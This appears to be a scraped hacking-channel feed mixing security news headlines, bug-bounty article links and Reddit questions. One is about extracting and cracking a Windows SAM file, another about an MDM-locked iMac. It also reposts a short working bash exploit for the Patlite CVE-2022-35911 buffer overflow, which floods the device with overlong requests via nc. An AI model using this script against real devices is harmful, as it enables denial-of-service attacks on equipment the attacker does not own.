Dark Reading: Attacks/Breaches
Getting Ahead of Supply Chain Attacks

Attackers are willing to replicate entire networks, purchase domains, and persist for months, not to mention spend significantly to make these campaigns successful.

Dark Reading: Attacks/Breaches
Qakbot Is Back With a New Trick: DLL Sideloading

In the latest iteration, Qakbot operators are using DLL sideloading to deliver malware, a technique that places legitimate and malicious files together in a common directory to avoid detection.

Dark Reading: Attacks/Breaches
Aqua Launches Out-of-the-Box Runtime Security with Advanced Protection against the Most Sophisticated Threats

Security professionals can now achieve real-time protection for their workloads in minutes.

Exploit Collector
Marty Marketplace Multi Vendor Ecommerce Script 1.2 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Patlite 1.46 Buffer Overflow

https://3.bp.blogspot.com/-3DxkerR7uq4/WWlu9h9UGfI/AAAAAAAAIJw/dRDCcwrw3XEGYQWUo-AXJEEU7FQ8iTgpACLcBGAs/s1600/h115.png
Patlite versions 1.45 and below suffer from a buffer overflow vulnerability.

SHA-256 | 5c29e3afa128083754b4bac9a8b929fac03751344f5c65c15f43df42fefcb136

Download
# Exploit Title: CVE-2022-35911 - Patlite Overflow.
# Date: 2022-07-07
# Exploit Author: Samy Younsi - Necrum Security Labs
# Vendor Homepage: https://www.patlite.co.jp
# Software Link: https://www.patlite.co.jp/product/detail0000021462.html
# Version: Versions 1.46 and bellow are affected
# Tested on: CentOs & Ubuntu
# CVE : CVE-2022-35911
#!/bin/bash

IP="192.168.1.101"
PORT="80"

for i in {0..1000};
do
echo "[$i]: ";
echo -ne "GET /api/control/AAAAAAAAAAAAAAAAAA HTTP/1.1\r\nHost: $IP\r\n\r\n" | nc $IP $PORT;
done > /dev/null 2>&1

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Explained: The BiFi Hack (July 2022)

https://external-preview.redd.it/53sK7Vk92h42JsCNaFfOLLtVIadU_9EEhm3wXYgnudM.jpg?width=320&crop=smart&auto=webp&s=91edc7ad48586de4a85033e59b4b743b1f11ee38 submitted by /u/yintianshi
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Final Year Projects (IoT based)

So I am about to complete my degree in Cyber Sec. and cant help but think that creating a drone disabler would be a good idea for a final year project. Is it realistic to do so? Or its not worth the time? Any thoughts or ideas?

submitted by /u/MeowCattoNiP
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How to get my SAM file using Kali live

I'm going for my Sec+ for an entry into Security. I've played with Kali in the past but not very extensively. In school I did a demonstration on airmon-ng and "cracked" a wifi network using those tools. That was pretty cool!

But haven't really touched it since then. I'm using my laptop and running Kali live. When in Kali, I can see my windows drive, I can mount it by putting in the password, but my goal is to use the tools in Kali to get into that drive and grab my SAM file so I can try to use hashcat to crack the password. Or just use the tools to get the drive to mount without the password?

I've taken an image of the drive and have that stored on a external SSD, I've tried playing around with autopsy but not sure I can get the info I'm wanting from that since the drive is encrypted. I am able to see some info from the image, but I think it's my main data partition that's encrypted and I'm pretty sure that's where the file is going to be that I need.

But I'm kind of stuck now. I've quickly messed with crunch but the lists I tried creating were massive haha.

I've got a desktop with a 3080Ti that I can use but not sure how much more beneficial outside of brute forcing my way in (which I know probably isn't possible). Plus I don't think I can use hashcat to run against that drive directly?

submitted by /u/DevilDogg22
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
2013 iMac was reset and may have MDM lock

So a couple weeks ago my friend gave me his computer and reset it in front of me, after doing so i took it home not thinking much of it but when i tried to turn it on it told me “The device is automatically monitored by S**** ***** **********.” So I looked up a tutorial on how to reset it from there and now I don’t know what to do. Is there a way to fix it? Did I lose 50 bucks? Please help if you can.

submitted by /u/Foreign_Artichoke526
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

OPEN REDIRECT VULNERABILITIES: ESCALATING TO XSS
https://faiyazhacks.medium.com/open-redirect-vulnerabilities-escalating-to-xss-e4e833cb3226?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

This article was originally published at BePracticalContinue reading on Medium » (https://faiyazhacks.medium.com/open-redirect-vulnerabilities-escalating-to-xss-e4e833cb3226?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

When clients don't know where their systems live, let alone what the priority is [meme]
https://www.reddit.com/r/Pentesting/comments/w7y9cy/when_clients_dont_know_where_their_systems_live/

___________________________
@hacking_Attack
@Hacking_Video

submitted by /u/misconfig_exe (https://www.reddit.com/user/misconfig_exe)
[link] (https://i.redd.it/bii6uxatprd91.jpg) [comments] (https://www.reddit.com/r/Pentesting/comments/w7y9cy/when_clients_dont_know_where_their_systems_live/)

___________________________
@hacking_Attack
@Hacking_Video

Sensitive Data Exposure: Mengambil alih semua akun, akunmu = akunku.
https://aminudin.medium.com/sensitive-data-exposure-mengambil-alih-semua-akun-akunmu-akunku-526f14fc9755?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video